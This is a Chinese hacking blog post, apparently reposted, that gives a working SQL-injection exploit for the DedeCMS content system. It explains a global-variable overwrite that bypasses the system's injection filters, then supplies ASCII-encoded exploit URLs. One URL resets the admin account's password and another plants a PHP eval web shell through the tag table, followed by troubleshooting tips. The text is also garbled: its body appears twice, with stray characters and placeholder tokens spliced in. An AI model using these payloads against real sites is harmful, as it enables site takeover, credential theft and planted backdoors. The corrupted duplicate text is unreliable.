|
此漏洞无视gpc转义,过80sec注入防御。
8 W1 O4 j8 f! d* `* c补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
1 C! j2 Y2 m% ~. H }1 a" f起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。+ F# y* G n5 k% ^7 w
include/dedesql.class.php
8 j6 ?) Y* f) T8 `- gif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。( W& t& Z5 V; w% j
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
& G3 X6 S' I0 A5 {, }而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。* V; ]4 W. d% V8 a
plus/download.php9 a4 T% E) X: M% z: |
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("locationlink"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
" h% q7 o8 g1 _5 l" x7 o- B0 d" Kadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
9 `& W3 U" X4 j* R; k7 t' TUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
' Q1 l2 R4 v6 i* Y2 M. ehttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin% ^4 F5 f5 D1 E% J4 f# u
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
% F. O, h! Y* C; I( S. L; h如果找不到后台,参见以前修改数据库直接拿SHELL的方法
; ]9 U6 c) t/ `4 ]% F lUPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。* w. ^5 i! O, a/ G w$ f
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
! a7 C* L$ o* Y8 f& A6 J" H5 m起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。" o- Y+ d8 j$ F5 a
include/dedesql.class.php
( j$ |" S% n( v: x! n: I! }if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。+ d3 P) a$ m0 A! c' `( h
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2$ T, _* I4 E: X/ p
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。& Y3 [+ \' ?4 w' T& q
plus/download.php
9 B; E- p% H$ n; C2 q. n+ F- gelse if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("locationlink"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):7 |. l1 g1 ~6 x6 d/ Q
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:2 f0 a% Q, E0 c6 H( Q. q
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
4 E, F" q5 d8 H. z% v3 Uhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
4 v) m0 ~$ }4 I, V B K漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
9 U1 A6 L3 e- U如果找不到后台,参见以前修改数据库直接拿SHELL的方法! [ N" O o! y2 E
___FCKpd___6getshell:# o3 m1 A- z$ `$ ^
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
# \; h2 L8 {5 ?http://127.0.0.1/plus/x.php% f3 T" M- N' ~5 g
update成功后还要访问下 /plus/mytag_js.php?aid=1
5 h" A3 Y. j$ k7 G% w5 X! b/ S失败原因:. z+ ?1 R+ H4 W- T. g+ k
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
' H1 s4 @- @, y/ d1 n$ V配图:2 N. e; B% X4 i3 t6 a8 T
1.查看dede当前版本
/ h$ H: |, P; h/ U. c6 H5 ]5 w3 K$ M5 K" p6 p/ {
2.执行exp; r/ v* {3 W' e
- S2 e2 b4 j" C4 D9 xhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台6 L! }3 R; I: {6 J: m
; O8 _$ l6 w: n; ?$ i
spider密码admin- J$ C1 w; O* ?
/ G: e, n* D _* h: C
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
3 R$ W: t3 d8 x5 o+ [原作者:imspider
3 ]9 K6 a: n* b a {
! B( z/ p h0 O3 g: Q本博客测试+配图+getshell
7 O2 N( ~# ~% S% m$ W: g3 u; j" oPOST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT 5 B3 p/ z, u4 D. p( B
: Q0 g; R, v6 Q4 A) ?* Y
getshell:
: V: ?, d0 U7 O! ?& R& `5 u___FCKpd___7会在plus目录生成 x.php 密码 m
/ O3 T2 G$ p" J& Khttp://127.0.0.1/plus/x.php8 }: B. h2 Y3 R7 I) V( ~# f. z
update成功后还要访问下 /plus/mytag_js.php?aid=1
: d! P/ ?+ ~- W0 e3 |5 m$ f5 G! ^失败原因:
4 z( H, c. a, X. E测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)' B% @; ]) v) V% T7 o3 F6 }
配图:$ i: s4 K$ I4 I- ~8 R) ^
1.查看dede当前版本# J4 i" ]" |% m8 Q
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png0 U1 q8 h y' ?1 `" u
2.执行exp% m. u( }; j) A1 ^! [
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
8 {( @' v6 u, Q7 K+ g/ espider密码admin, d% o# O$ O1 `& U5 M% [$ K) M
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
0 J" F3 r* ^! Z, s6 r3 i3 j: {7 V - Y/ j [+ ~2 c' F6 n) T
|
|